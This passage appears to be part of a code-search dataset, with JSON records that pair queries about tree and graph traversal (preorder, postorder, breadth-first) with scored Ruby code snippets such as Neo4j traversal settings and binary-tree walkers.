parse_name(row['Name'])\n person = @object.create!(\n first_name: name[:first_name],\n last_name: name[:last_name],\n species: row['Species'],\n gender: row['Gender'],\n weapon: row['Weapon'],\n vehicle: row['Vehicle']\n )\n\n row['Location'].split(',').each do |loc|\n person.locations.create!(name: loc.strip)\n end if row['Location'].present?\n\n row['Affiliations'].split(',').each do |aff|\n person.affiliations.create!(name: aff.strip)\n end\n\n end\n end", "title": "" }, { "docid": "2c7c3023b2fe9a9ab52fa1391da4d514", "score": "0.48449025", "text": "def initialize ( _caller, *list )\n super _caller\n @attr_expression = QAttr.new(\n :name => 'attr_expression',\n :text => '',\n :val => SQLAliasedList.new( *list )\n )\n end", "title": "" }, { "docid": "a1931115243d2b2cf118b6746f6223b9", "score": "0.48420802", "text": "def parse_to_tags(list)\n find_or_create(parse(list))\n end", "title": "" }, { "docid": "5effd26d4b33db01d50b28a189b31121", "score": "0.48386258", "text": "def initialize(attributes={})\n attributes.each do |name, value|\n if name == \"email\"\n value.downcase\n send(\"#{name}=\", value)\n else\n send(\"#{name}=\", value)\n end\n end\n end", "title": "" }, { "docid": "02baef7f3fa5a10967183adc3ab96952", "score": "0.48281386", "text": "def initialize(word_list)\n @word_list = word_list\n end", "title": "" }, { "docid": "768173aa992c65a5fc49867c66f6bbd0", "score": "0.48274612", "text": "def populate_products(values)\n values.each do |value|\n Product.create({ name: value })\n end\nend", "title": "" }, { "docid": "d1b7712b8c0544e84f50a1fa7c666c68", "score": "0.48261276", "text": "def initialize(word_list)\n @words = word_list\n end", "title": "" }, { "docid": "a4cccee22c64a338c6102010c08effff", "score": "0.48242822", "text": "def create_list(str_list)\t\n\tarray = str_list.split(' ')\n\t#returns an array of items\n\t#for every item, take the item and put it in its own array with a default value\n\tnew_array = array.collect { |item| [item, 0] }\n\t#this format allows us to quickly make a hash\n\thash = new_array.to_h\n\treturn hash\n\t#returns a hash\nend", "title": "" }, { "docid": "d93d8edb9c9941d5b1661513a7e10dc5", "score": "0.4820018", "text": "def create(attrs = nil)\n if attrs.is_a?(Array)\n attrs.collect { |attr| create(attr) }\n else\n object = new(attrs)\n object.save\n object\n end\n end", "title": "" }, { "docid": "f54a51f5bd430881ff2e3bc1a4acf912", "score": "0.4816921", "text": "def initialize( pos: pos, alleles: alleles)\n @pos = pos\n\n case alleles.class\n when Array then @alleles = alleles\n when String then @alleles = alleles.split('')\n end\n\n end", "title": "" }, { "docid": "f09b87c0fe441821c3841ce3e778e6e5", "score": "0.48129457", "text": "def initialize(snp,alleles)\n (@snp, @alleles) = snp, alleles\n @alleles.each_index do |a|\n @alleles[a].upcase!\n @alleles[a] = \"0\" unless %w/A T G C/.include?(@alleles[a])\n end\n end", "title": "" }, { "docid": "f09b87c0fe441821c3841ce3e778e6e5", "score": "0.48129457", "text": "def initialize(snp,alleles)\n (@snp, @alleles) = snp, alleles\n @alleles.each_index do |a|\n @alleles[a].upcase!\n @alleles[a] = \"0\" unless %w/A T G C/.include?(@alleles[a])\n end\n end", "title": "" }, { "docid": "c25c727f7b0881397f01384f23902e32", "score": "0.48125717", "text": "def authors(*args)\n\t\t args.length == 1 ? self.autores = args[0].split(\", \") : self.autores \n\t\t end", "title": "" } ]
1cee3c26f3fd6c73d38e1394d4cc1a77
Sets traversing breadth first (default). This is the default ordering if none is defined. The pre_or_post parameter parameter can have two values: :pre or :post :pre Traversing breadth first, visiting each node before visiting its child nodes (default) :post Traversing breadth first, visiting each node after visiting its child nodes. ==== Note Please note that breadth first traversals have a higher memory overhead than depth first traversals. BranchSelectors carries state and hence needs to be uniquely instantiated for each traversal. Therefore it is supplied to the TraversalDescription through a BranchOrderingPolicy interface, which is a factory of BranchSelector instances.
[ { "docid": "c8a857267b8df31ecf60a35001b74a36", "score": "0.7429524", "text": "def breadth_first(pre_or_post = :pre)\n case pre_or_post\n when :pre then @td = @td.order(org.neo4j.kernel.Traversal.preorderBreadthFirst())\n when :post then @td = @td.order(org.neo4j.kernel.Traversal.postorderBreadthFirst())\n else raise \"Unknown type #{pre_or_post}, should be :pre or :post\"\n end\n self\n end", "title": "" } ]
[ { "docid": "606effa59500bffb9916b779a598507e", "score": "0.6484477", "text": "def pre_order_traversal(tree=root, ordering=[])\n end", "title": "" }, { "docid": "8de62807e45bf799d18a515df174a707", "score": "0.6353325", "text": "def depth_first(pre_or_post = :pre)\n case pre_or_post\n when :pre then @td = @td.order(org.neo4j.kernel.Traversal.preorderDepthFirst())\n when :post then @td = @td.order(org.neo4j.kernel.Traversal.postorderDepthFirst())\n else raise \"Unknown type #{pre_or_post}, should be :pre or :post\"\n end\n self\n end", "title": "" }, { "docid": "3cce90981af4b1112051af81a4814635", "score": "0.5940745", "text": "def post_order_traversal(tree=root, ordering=[])\n end", "title": "" }, { "docid": "b0d39377380c7a7067c9a58271bacee0", "score": "0.56735754", "text": "def pre_order_traversal\n nodes = []\n nodes.push(@root_value)\n nodes += @left.pre_order_traversal if @left\n nodes += @right.pre_order_traversal if @right\n nodes\n end", "title": "" }, { "docid": "b9fd8375804e6e097abaa99f5a410a24", "score": "0.5580715", "text": "def reconstruct_bst_from_traversal(pre_order)\n reconstruct_bst_rec(0, pre_order.length - 1, pre_order)\nend", "title": "" }, { "docid": "b44ae17871f2044955e43719e62e9570", "score": "0.5575964", "text": "def preorder(node)\n visit node \n left = preorder node.left_node if node.left_node \n right = preorder node.right_node if node.right_node\n p left ? left.value : nil \n p right ? right.value : nil\n p node.value\n puts '----'\n node\n end", "title": "" }, { "docid": "20a72fc8ccc32317bae4af1bd1c6253a", "score": "0.5506925", "text": "def breadth_first\n return do_breadth_first( [Node.new(@start)], Set.new, @dest)\n end", "title": "" }, { "docid": "18fcf856b189c543db945122edad03db", "score": "0.5489025", "text": "def find_breadth_traversal_tree(in_order,post_order,level, h)\n # level => 0F 0T 1F 1T etc\n if in_order.size == nil || in_order.size == 0\n puts \"finish\"\n elsif in_order.size == 1\n # finish\n yield(level, in_order[0])\n puts \"#{level} \\t #{in_order[0]}\"\n else \n # this is not finished yet\n max_index_in_post = 0\n max_index_in_in = 0\n in_order.each_with_index do |in_ele,in_index|\n post_index = post_order.index(in_ele)\n\n if post_index > max_index_in_post\n max_index_in_post = post_index\n max_index_in_in = in_index\n end\n\n end\n current_root = in_order[max_index_in_in]\n yield(level, current_root)\n puts \"#{level} \\t #{current_root}\"\n\n level[0] = (Integer(level[0])+1).to_s\n next_level_f = level+\"F\"\n next_level_t = level+\"T\"\n front_of_in = in_order[0...max_index_in_in]\n tail_of_in = in_order[(max_index_in_in+1)...in_order.size]\n \n #\n find_breadth_traversal_tree(front_of_in,post_order,next_level_f, h) {|level,ele| h[level] = ele}\n find_breadth_traversal_tree(tail_of_in,post_order,next_level_t, h) {|level,ele| h[level] = ele}\n\n #\n end # end of else\n\n\nend", "title": "" }, { "docid": "5d6c345e41b1c5e807f09aee2972d28a", "score": "0.5429265", "text": "def preorder\n preorder_traversal(@root, [])\n end", "title": "" }, { "docid": "5e3860c2ad65a0bf095fc3778ae048e3", "score": "0.5402342", "text": "def preorder(node)\n # 1->2->4->5->3->6\n if node\n print node.value.to_s + '->'\n preorder(node.left_child)\n preorder(node.right_child)\n end\n end", "title": "" }, { "docid": "2d10c73a6192277c6140442a105f0416", "score": "0.53737044", "text": "def preorder_traversal(root, values = [])\n current_node = root\n\n if current_node.left || current_node.right\n values << current_node.value\n values = preorder_traversal(current_node.left, values) if current_node.left\n preorder_traversal(current_node.right, values) if current_node.right\n else\n values << current_node.value\n end\n\n values\nend", "title": "" }, { "docid": "afcc4f01b453566b92da0bcf5231e792", "score": "0.5371566", "text": "def preorder(&block)\n yield item\n @left_subtree.preorder(&block) if @left_subtree != nil\n @right_subtree.preorder(&block) if @right_subtree != nil\n end", "title": "" }, { "docid": "e66cf9c011ded558f14ad7d75e0824ea", "score": "0.5309483", "text": "def preorder(node)\n p node.value if node.value \n preorder(node.left) if node.left\n preorder(node.right) if node.right\nend", "title": "" }, { "docid": "c4c413a47eb9ded256e23a2585b3eb01", "score": "0.5302857", "text": "def preOrderTraversal(root)\n return nil if root == nil\n\n stack = [root]\n while !stack.empty?\n node = stack.pop\n print \" #{node.value}\"\n if node.right != nil\n stack.push(node.right)\n end\n if node.left != nil\n stack.push(node.left)\n end\n end\nend", "title": "" }, { "docid": "5107948c699e17bacabbed710d6cdaf0", "score": "0.5300839", "text": "def preorder_traverse node, &block\n block.call(node)\n if node.children.count > 0 then\n node.children.each do |child|\n preorder_traverse(child, &block)\n end\n end\n end", "title": "" }, { "docid": "8563027679c217b08a8aabbed2affb56", "score": "0.52792853", "text": "def preorder_traversal(root)\n visited = []\n traverse(root, visited)\n visited\nend", "title": "" }, { "docid": "628f6d4e2407c6216acdd3611761e0ad", "score": "0.5220841", "text": "def preorder(current_node = root)\n return if current_node.nil?\n print \"#{current_node.value} \"\n inorder(current_node.left)\n inorder(current_node.right)\n end", "title": "" }, { "docid": "5cfc52ab8e1e9a47e6e457c290258dc4", "score": "0.52150726", "text": "def preorder_traversal(node=@root)\n return if (node == nil)\n preorder_traversal(node.left)\n preorder_traversal(node.right)\n puts node.value.to_s\n end", "title": "" }, { "docid": "2e60dfa05a5492f442e4bd6b913fedd9", "score": "0.52079546", "text": "def use_breadth_first(item, graph, logic_function = ->(x){graph[x].empty?} , returned = \"steps\" )\r\n search_queue = []\r\n steps = {}\r\n search_queue = search_queue.concat(graph[item])\r\n searched = []\r\n #Setting up initial steps \r\n if !search_queue.empty?\r\n search_queue.each do |term|\r\n steps[term] = 1\r\n end\r\n end\r\n #Here goes the graph algorithm\r\n while !search_queue.empty?\r\n person = search_queue.shift()\r\n if !( searched.include?(person) )\r\n\r\n if logic_function.call(person)\r\n if returned == \"steps\"\r\n return steps[person]\r\n end\r\n if returned == \"found\"\r\n return true\r\n end\r\n else\r\n if !(graph[person].nil?) \r\n graph[person].each do |related|\r\n steps[related] = steps[person] + 1 #Setting up the steps of parents of the current element in the queue\r\n end\r\n search_queue = search_queue.concat(graph[person])\r\n end\r\n end\r\n\r\n end\r\n end\r\n return false\r\nend", "title": "" }, { "docid": "134d666c9e54932c188d19ab2b304340", "score": "0.5192634", "text": "def traverse(order=:bfs,&block)\n reset \n tree = @tree\n\n case order\n when :bfs\n traverse_bfs &block\n when :postorder\n walk(tree,:postorder,&block)\n when :preorder\n walk(tree,:preorder, &block)\n when :inorder\n raise ArgumentError unless tree.kind_of? BinaryTree\n walk(tree,order,&block)\n end\n\n return visited\n end", "title": "" }, { "docid": "5414c4b524b9daf1f96978120ea321bb", "score": "0.5191174", "text": "def _pre_order(root, ary=[], lbd)\n return ary if root.nil?\n #\n s, h = [], 1 \n s.push [root, h]\n ary = [ h ] if lbd.nil?\n loop do\n break if s.empty?\n node, h = s.pop\n if lbd \n ary << lbd.call(node.val)\n elsif ary.first < h\n ary[0] = h\n end\n s.push [node.rnode, h+1] if node.rnode\n s.push [node.lnode, h+1] if node.lnode\n end\n ary \n end", "title": "" }, { "docid": "dca489e94a91357b5078087e1858f081", "score": "0.51773226", "text": "def pre_order(node=@root, &block)\n return if node.nil?\n yield node\n in_order(node.left, &block)\n in_order(node.right, &block)\n end", "title": "" }, { "docid": "8a5c1f99658b9d81ca5fb94eb27db02f", "score": "0.51483774", "text": "def nodes_preorder(node = self.root, &block)\n yield( node ) if block_given?\n nodes_preorder(node.left_child, &block) if node.has_left_child?\n nodes_preorder(node.right_child, &block) if node.has_right_child?\n end", "title": "" }, { "docid": "d58fb6320d37ca075a308d907bade711", "score": "0.51401484", "text": "def preorder(node)\n return if !node\n print node.value, \" \"\n preorder(node.left_child)\n preorder(node.right_child)\n end", "title": "" }, { "docid": "548663277f4a8760c52b596417489ad5", "score": "0.5139311", "text": "def post_order_traversal\n nodes = []\n nodes += @left.post_order_traversal if @left\n nodes += @right.post_order_traversal if @right\n nodes.push(@root_value)\n nodes\n end", "title": "" }, { "docid": "001a544fa92181ff3dbb90bc6e0c969d", "score": "0.5134336", "text": "def build_tree(preorder, inorder)\n return nil if preorder.empty? || inorder.empty?\n \n root = TreeNode.new(preorder.first)\n idx = inorder.find_index(preorder.first)\n preorder.shift\n\n root.left = build_tree(preorder, inorder.slice(0..(idx-1))) unless idx==0\n root.right = build_tree(preorder, inorder.slice((idx+1)..-1)) if idx!=inorder.size-1\n \n return root\nend", "title": "" }, { "docid": "77b238b7776fe40fe77a2155461a07fb", "score": "0.51305026", "text": "def dfs_tree_preorder(start, edges)\n require 'set'\n queue = [[start,nil]]\n visited = Set[start]\n while queue.size > 0\n f,ff = *(queue.pop) \n ts = edges[f].keys.reject{ |t| visited.member?(t) }\n yield(f, ff)\n ts.each{ |t| visited << t; queue << [t,f] }\n end\nend", "title": "" }, { "docid": "92940508d24bdced8e3bc9ab4d100e43", "score": "0.5127792", "text": "def pre_order_traverse(tree, array)\n if !tree.nil?\n array.append(tree.value)\n pre_order_traverse(tree.left, array)\n pre_order_traverse(tree.right, array)\n end\n \n return array\n\nend", "title": "" }, { "docid": "c69cf468fc6761bf0d49ec256f0164ed", "score": "0.5124723", "text": "def preorder\n return preorder_recursion(current = @root, tree = [])\n end", "title": "" }, { "docid": "0f33717aaef279bae5b2cd3f87d013b5", "score": "0.51192796", "text": "def print_preorder\n return \"Empty BST\" if is_empty\n\n stack = [@root]\n\n until stack.empty?\n current = stack.pop\n\n puts current.value\n\n stack << current.right unless current.right.nil?\n stack << current.left unless current.left.nil?\n end\n end", "title": "" }, { "docid": "255695d26158ef67dd637db86167219b", "score": "0.51175046", "text": "def preorder(node = @root, &block)\n return unless node\n\n yield node\n preorder(node.left, &block)\n preorder(node.right, &block)\n end", "title": "" }, { "docid": "3ab4acc7bc63885ddf71aa79eeee9338", "score": "0.5109848", "text": "def nodes_breadthfirst(node = self.root, &block)\n @nodes = []\n iterate_breadthfirst(node, &block)\n ensure\n @nodes = nil\n end", "title": "" }, { "docid": "2edc50d2e47f92a66dc93f0a4b7568a8", "score": "0.5102314", "text": "def preorder\n tree_array = []\n if root.nil?\n return tree_array\n else\n root.preorder(tree_array)\n return tree_array\n end\n end", "title": "" }, { "docid": "aba0daece5cf6a576859e0b3b266602f", "score": "0.50961405", "text": "def breadth_first(value)\n\tend", "title": "" }, { "docid": "1f35896a70932ed547fb69db660c9044", "score": "0.50778306", "text": "def preorder_trav(node=@root, &block)\n return if node.nil?\n\n yield node\n preorder_trav(node.left, &block)\n preorder_trav(node.right, &block)\n end", "title": "" }, { "docid": "dd65aefdfc0c055e13d82542e8c01b39", "score": "0.50664026", "text": "def preorder_traversal(root)\n response = []\n traversal(root, response)\n return response\nend", "title": "" }, { "docid": "3b79edbf76d3854f8d0dbd921894c24c", "score": "0.5052435", "text": "def postorder(node)\n postorder node.left_node if node.left_node \n postorder node.right_node if node.right_node \n visit node\n end", "title": "" }, { "docid": "cb31b100c5b5d7f4fd4e15967a06d9dc", "score": "0.5041122", "text": "def pre_order(node = root, array = [])\n return if node.nil?\n\n array << node.data\n pre_order(node.left, array)\n pre_order(node.right, array)\n array\n end", "title": "" }, { "docid": "fe8cf67c7c2a2f79dd19ef873c6065c8", "score": "0.50299585", "text": "def breadth_first\n result = []\n queue = [self]\n while !queue.empty?\n node = queue.shift\n result << node\n node.children.sort.each do |child|\n queue << child\n end\n end\n return result\n end", "title": "" }, { "docid": "60bb771462be3c68664087dad8d37f5d", "score": "0.50047535", "text": "def preOrder(node = root, arr = [])\n return nil unless node.is_a? Node\n arr << node.data\n preOrder(node.left, arr) if !node.left.nil?\n preOrder(node.right, arr) if !node.right.nil?\n arr\n end", "title": "" }, { "docid": "b21d15dfbbdf78ce7474bf81b570cf9f", "score": "0.4999652", "text": "def in_order_traversal(tree=root, ordering=[])\n end", "title": "" }, { "docid": "e409f9a0518c0b8e4235895ff890bad4", "score": "0.49962464", "text": "def method_preOrder(node,myLambda)\n if node != nil\n myLambda.call(node)\n method_preOrder(node.getLeft,myLambda)\n method_preOrder(node.getRight,myLambda)\n end\n end", "title": "" }, { "docid": "937bc24070f40c39075ccb16fbcfb76c", "score": "0.49901313", "text": "def breadthTraversal(path, parent = nil)\n\t@jobs.push Job.new(path, parent)\n\n\twhile not @jobs.empty?\n\t\tbtraverse(@jobs.pop)\n\tend\nend", "title": "" }, { "docid": "ae3146847f775506afd21e47eb554876", "score": "0.49714524", "text": "def each_preorder(proc)\n proc.call(@value1)\n proc.call(@value2) if @type == 3\n @left.each_preorder(proc) if @left\n @mid.each_preorder(proc) if @mid\n @right.each_preorder(proc) if @type == 3 && @right\n end", "title": "" }, { "docid": "5c2d76205431e735ffcf9a31261b894b", "score": "0.4969753", "text": "def preorder(root, depth=0)\n return if root.nil?\n @arr[depth] = root.val if @arr[depth].nil? || root.val > @arr[depth]\n preorder(root.left, depth+1)\n preorder(root.right, depth+1)\nend", "title": "" }, { "docid": "692a0de200a2a9a155cc261798d59c8c", "score": "0.4960463", "text": "def build_tree(preorder, inorder)\n return nil if preorder.empty? && inorder.empty?\n\n array = []\n\n node = Node.new(preorder.first)\n\n array << preorder.first\n\n idx = inorder.index(preorder.first)\n\n left_inorder = inorder[0...idx]\n right_inorder = inorder[(idx+1)..-1]\n\n left_preorder = preorder & left_inorder\n right_preorder = preorder & right_inorder\n\n node.left = build_tree(left_preorder, left_inorder)\n node.right = build_tree(right_preorder, right_inorder)\n\n node\nend", "title": "" }, { "docid": "c987bbeea125d0e4259ce039e72b474c", "score": "0.49528602", "text": "def preorder\n yield self\n each do |child|\n unless pre_terminal?\n child.preorder {|c| yield c}\n else\n each {|c| yield c}\n end\n end\n end", "title": "" }, { "docid": "fc895139c09361162fcabd5ce0f0225b", "score": "0.49296007", "text": "def preorder(node = root, array = [], &block)\n return nil if root.nil?\n\n yield node if block_given?\n array << node\n preorder(node.left, array, &block) unless node.left.nil?\n preorder(node.right, array, &block) unless node.right.nil?\n array\n end", "title": "" }, { "docid": "4e430d3c256c3ba19f9d743a6208aa76", "score": "0.4925736", "text": "def pre_order(root=@root, arr=[])\n return root if root.nil?\n arr << root.value\n pre_order(root.left_child, arr)\n pre_order(root.right_child, arr)\n arr\n end", "title": "" }, { "docid": "8d153e22b4aca2e24c5530e060aaafe4", "score": "0.4921062", "text": "def branch(**new_options)\n if self.is_a?(Builder)\n options = self.options\n else\n options = DEFAULT_OPTIONS.merge(processor: self::Processor)\n end\n\n options = options.merge(new_options) do |key, old_value, new_value|\n case key\n when :loader, :saver then old_value.merge(new_value)\n when :operations then old_value + new_value\n else new_value\n end\n end\n\n Builder.new(options.freeze)\n end", "title": "" }, { "docid": "d2f9b5419760a4de9a96d7978c8e3d3d", "score": "0.49107996", "text": "def build_tree(inorder, postorder)\n return nil if inorder.empty?\n last_node_val = postorder.last\n last_node_index = inorder.index(last_node_val)\n node = TreeNode.new(last_node_val)\n \n if last_node_index > 0\n node.left = build_tree(inorder[0..last_node_index-1], postorder[0..last_node_index-1])\n end\n \n if last_node_index < inorder.length-1\n node.right = build_tree(inorder[last_node_index+1..-1], postorder[last_node_index..-2])\n end\n node\nend", "title": "" }, { "docid": "c9fc0feaee57f755cfedac28bcc975b3", "score": "0.48957112", "text": "def dfs_tree_postorder(start, edges)\n require 'set'\n queue = [[start,nil]]\n visited = Set[start]\n bq = []\n while queue.size > 0\n f = queue.pop\n bq << f\n ts = edges[f[0]].keys.reject{ |t| visited.member?(t) }\n ts.each{ |t| visited << t; queue << [t,f[0]] }\n end\n bq.reverse_each{ |f| yield(*f) }\nend", "title": "" }, { "docid": "7f9854cc5d0140ac621d2847c1b2a775", "score": "0.48916155", "text": "def branch\n descendents.unshift(self)\n end", "title": "" }, { "docid": "100302ec6fc9f2bc3451d593669366ed", "score": "0.48905367", "text": "def DFT_pre_order_recursive(root)\n if root == nil\n return\n end\n print \"#{root.value}\\n\"\n DFT_pre_order_recursive(root.left)\n DFT_pre_order_recursive(root.right)\n end", "title": "" }, { "docid": "dc7bf457087ff3cf7f162f5a6f016f4e", "score": "0.4884623", "text": "def traverse_bfs\n q = Queue.new\n q.push @tree\n \n loop do\n break if q.empty?\n node = q.shift\n if block_given?\n yield node\n else\n @visited << node.data\n end\n node.children.each{ |n| q.push n } if node.children\n end\n end", "title": "" }, { "docid": "d9466061c56454eea9fc9d005d11edb3", "score": "0.4875666", "text": "def branch(left, right)\n left,right = [left,right].sort_by{|n| n.x}\n if nodes = selected.branch(left, right)\n index = @branches.index( self.selected )\n @branches.delete_at index\n @branches.insert index, *nodes\n self.selected = @selected_node.children.first\n end\n end", "title": "" }, { "docid": "f9c736eb2c0388d80ff2a36c4de3f7d8", "score": "0.48641866", "text": "def preorder_recursion(current, traverse_array)\n return if current.nil?\n\n traverse_array << { key: current.key, value: current.value }\n preorder_recursion(current.left, traverse_array)\n preorder_recursion(current.right, traverse_array)\n end", "title": "" }, { "docid": "aff8efc27f437fc7344876756fa53f18", "score": "0.4863998", "text": "def convert_to_mirror_preorder(node)\n return if node.nil?\n\n # swap the left and right nodes at current level.\n temp = node.left\n node.left = node.right\n node.right = temp\n\n # pre-order traversal\n convert_to_mirror(node.left) unless node.left.nil?\n convert_to_mirror(node.right) unless node.right.nil?\nend", "title": "" }, { "docid": "d1be0b37a7b2f1d40808c740c281382f", "score": "0.48637414", "text": "def preorder_traversal(root, vals=[])\n # recursive base case\n return [] if root.nil?\n\n # perform the operation on the current node\n vals << root.val\n\n # recursively perform operation on left child\n preorder_traversal(root.left, vals)\n\n # recursively perform operation on left child\n preorder_traversal(root.right, vals)\n\n # to satisfy requirement that initial invocation return array of vals in preorder order\n vals\nend", "title": "" }, { "docid": "20f0c9f0cbdfb820446d404f28dcc5e5", "score": "0.48634452", "text": "def preorder_traverse(current_node = @root)\n preorder_array = []\n\n # Base case: reached child of a leaf node (nil)\n return [] if current_node.nil?\n\n preorder_array << current_node\n preorder_array += preorder_traverse(current_node.left)\n preorder_array += preorder_traverse(current_node.right)\n\n preorder_array\n end", "title": "" }, { "docid": "28268cd121aa30f0101e76151977a360", "score": "0.4856914", "text": "def preOrder(root) # O(n)\n\n return nil if root == nil\n\n print \" #{root.value}\"\n preOrder(root.left)\n preOrder(root.right)\n\nend", "title": "" }, { "docid": "aee4b070585e1728a5059c9d6fcda771", "score": "0.48544395", "text": "def preorder (root = self, array = [])\n array << root.value\n preorder(root.left, array) unless root.left.nil?\n preorder(root.right, array) unless root.right.nil?\n array\n end", "title": "" }, { "docid": "a5df35bf7c79a1b06d9d0da0b53dd36c", "score": "0.48505616", "text": "def pre_order_traversal(current_node = @root)\n @accumulator = []\n pre_order_traversal_aux(current_node)\n @accumulator\n end", "title": "" }, { "docid": "eeee8be9b156b5880daab8b65746d588", "score": "0.48433", "text": "def preorder_traversal_rec(root)\n res = []\n preorder_dfs(root, res)\n res\nend", "title": "" }, { "docid": "287b5fbeb6ee68b1f893d0997ca97519", "score": "0.48332652", "text": "def bread_first_search(first)\n puts sprintf(\"%-25s %s\", \"Queue: [ bottom - top ]\", \"Visited list\")\n enqueue(first)\n insert_visited(first)\n print\n\n while !queue.empty?\n element = dequeue # => |V|\n @source.fetch(element).each do |s| \n unless @visited.include?(s) # => |E|\n enqueue(s)\n @T.push([element,s]) \n insert_visited(s) \n end\n end\n print\n end\n # spanning tree\n p @T\n end", "title": "" }, { "docid": "109ab68c15c24d7cb90984b3bfe1a55b", "score": "0.48302817", "text": "def preorder_iterative(&block)\n stack = []\n\n stack.push(@root)\n until stack.empty?\n node = stack.pop\n yield node\n\n stack.push(node.right) if node.right\n stack.push(node.left) if node.left\n end\n end", "title": "" }, { "docid": "66366fd1913be924a2c45338e96fc3de", "score": "0.48242897", "text": "def preorder(current = @root, array = [])\n # visit the current node\n # traverse the left subtree\n # traverse the right subtree\n return array if current.nil?\n array << { key: current.key, value: current.value }\n preorder(current.left, array)\n preorder(current.right, array) \n end", "title": "" }, { "docid": "6c7c47f59c66600b84a93aacad42de04", "score": "0.48173815", "text": "def postorder\n postorder_traversal(@root, [])\n end", "title": "" }, { "docid": "fcccf5010176ccb60b9d25f195655ebf", "score": "0.48069617", "text": "def preorder_traversal(root)\n stack = [root]\n result = []\n while stack.any?\n result << stack.pop\n stack.push(result[-1].right) if !result[-1].right.nil?\n stack.push(result[-1].left) if !result[-1].left.nil?\n end\n \n result.map { |x| x.val }\nend", "title": "" }, { "docid": "39c169f51fea8f16a7cc82fda163c836", "score": "0.47980544", "text": "def preorder_traversal root\n result = []\n\n result << root.val\n result << preorder_traversal(root.left) unless root.left.nil?\n result << preorder_traversal(root.right) unless root.right.nil?\n\n result\nend", "title": "" }, { "docid": "7ac5494cc4386910af9a6ef54a36262d", "score": "0.47974867", "text": "def bfs(target_value)\n queue = [self]\n\n until queue.empty?\n head = queue.shift\n return head if head.value == target_value\n\n head.children.each { |child| queue << child }\n end\n end", "title": "" }, { "docid": "bd5cf143a98d6c723cb4bfb2dcd71fdf", "score": "0.47848058", "text": "def pre_order(node, attribute, node_list)\n unless node.nil?\n node_list << (attribute ? node.data.send(attribute) : node.data)\n pre_order(node.left, attribute, node_list)\n pre_order(node.right, attribute, node_list)\n end\n return node_list\n end", "title": "" }, { "docid": "05a920a84d7321b77349291cd91f562e", "score": "0.47840622", "text": "def traversal(way=:post, lbd=@@id_fun)\n self.send(\"_#{way}_order\".to_sym, @root, lbd)\n end", "title": "" }, { "docid": "54ae13400fa99c2022e00d857c598deb", "score": "0.4782135", "text": "def traverse(&block)\n @strategy ||= strategy || DEFAULT_TRAVERSE_STRATEGY\n @strategy.traverse(self, &block)\n end", "title": "" }, { "docid": "67327aae8ba2e62fbe42ef56ca517838", "score": "0.47723937", "text": "def bfs(target = nil, &prc)\n raise \"Need a proc or target\" if [target, proc].none?\n prc ||= Proc.new { |node| node.value == target }\n\n nodes = [self]\n until nodes.empty?\n node = nodes.shift\n return node if prc.call(node)\n nodes.concat(node.children)\n end\n nil \nend", "title": "" }, { "docid": "36d8d225844a6d1e788db7ccf1a46011", "score": "0.47723803", "text": "def preorder\n return [] if @root == nil\n\n current = @root \n tree = []\n \n return preorder_helper(current, tree)\n end", "title": "" }, { "docid": "c03c847666c8b0dbf7d3275034283789", "score": "0.47652397", "text": "def breadth_first(node, target)\n # Setup\n queue = Queue.new\n queue.enqueue(node)\n # While queue exists\n while queue.elements?\n # Pop bottom off\n current_node = queue.dequeue\n # Check if it is target or nil\n return 'Could not locate your payload :(' if current_node.nil?\n return 'Found your target' if current_node.payload == target\n # Otherwise add its children to\n # back of line for checking\n add_kids_to_queue(current_node, queue)\n end\nend", "title": "" }, { "docid": "11e34a6085b094522d4527f54ba6a1b3", "score": "0.4734087", "text": "def before(node_or_tags)\n add_previous_sibling node_or_tags\n self\n end", "title": "" }, { "docid": "86dc684ba2e1686235467543f4ce73ef", "score": "0.47326842", "text": "def breadth_first\n queue = []\n values = []\n queue << @root\n\n while queue.size > 0\n node = queue.shift\n queue << node.left unless node.left.nil?\n queue << node.right unless node.right.nil?\n\n values << node.value\n end\n\n values\n end", "title": "" }, { "docid": "88ac2b52e90688d550a138062ef6b7fa", "score": "0.47042567", "text": "def bfs(tree)\n Enumerator.new do |yielder|\n queue = [tree]\n while !queue.empty?\n node = queue.shift\n children = node[1..-1]\n yielder << node.first\n children.each do |child|\n queue << child\n end\n end\n end\nend", "title": "" }, { "docid": "fedd44a19de57325ef1f477c8eb86eac", "score": "0.46956375", "text": "def traverse(&b)\n @left.traverse(&b) if @left\n b.call(self)\n @right.traverse(&b) if @right\n end", "title": "" }, { "docid": "8f542de491d23ae627f3689eaa8f8b79", "score": "0.46851042", "text": "def set_preorder\n @preorder = Preorder.find(params[:id])\n end", "title": "" }, { "docid": "9327ca52081be99bb63f49155ddaee80", "score": "0.4678001", "text": "def breadth_traversal(top_node)\n # start with the first nodes\n nodes = [top_node]\n nodes_to_iterate = [top_node]\n\n # while we have more nodes to print\n while (!nodes_to_iterate.empty?)\n next_nodes = [] # start with an empty list\n # for each node we iterate over in this, find their children\n nodes_to_iterate.each do |n|\n # add the next nodes we iterate\n next_nodes.concat(n.children)\n end\n\n #\n nodes.concat(next_nodes)\n nodes_to_iterate = next_nodes\n end\n\n # print them out in order\n # nb: (this could be a nested structure so you could print out\n # each row on a separate line, which might be cool)\n nodes.each {|n| yield n.value }\nend", "title": "" }, { "docid": "1bbc59c2dff6b2419b0ebe2a516541f3", "score": "0.46750945", "text": "def breadth_first_search(tree, value)\n tgt_node = nil\n \n queue = Array(tree)\n \n while !queue.empty?\n cur_node = queue.shift \n \n\tif cur_node.value == value\n\t tgt_node = cur_node\n\t break\n\tend\n\t\n\tcur_node.children.each { |child| queue << child unless child.nil? }\n end\n \n tgt_node\nend", "title": "" }, { "docid": "89fdbcb23845f63158c369cd8ba64f5b", "score": "0.4671737", "text": "def get_all_trees_from_preorder(array, start=0, end_index=array.size-1)\n #Pre-order visits root first. So 1st element is always root of the tree. next element could be left or right\n #Form all trees with next element being its left, then trees with next element as its right etc.\n # [1,2,3,4] => Use DP approach, bottom up approach. Go all the way down to last 2 nodes\n # 3 3\n # 4 and 4\n # Now 2 can be added as the root and left could be 3 and right could be 3\n # 4 4\n # And follow this till root\n if (start == array.size-1)\n return [Node.new(array[start])]\n end\n results = []\n trees = get_all_trees_from_preorder(array, start+1, end_index-1)\n trees.each do |tree|\n node1 = Node.new(array[start])\n node1.left = tree\n results << node1\n node2 = Node.new(array[start])\n node2.right = tree\n results << node2\n end\n results\nend", "title": "" }, { "docid": "0503e3f52201e310f4d6f10c09516f08", "score": "0.46651572", "text": "def preorder\n # raise NotImplementedError\n return preorder_helper(@root, [])\n end", "title": "" }, { "docid": "d5855b90585e241655f1ee0d1b9f09a2", "score": "0.4663857", "text": "def build_tree_rec(preorder, inorder)\n if inorder.length != 0\n original = preorder.shift\n ind = 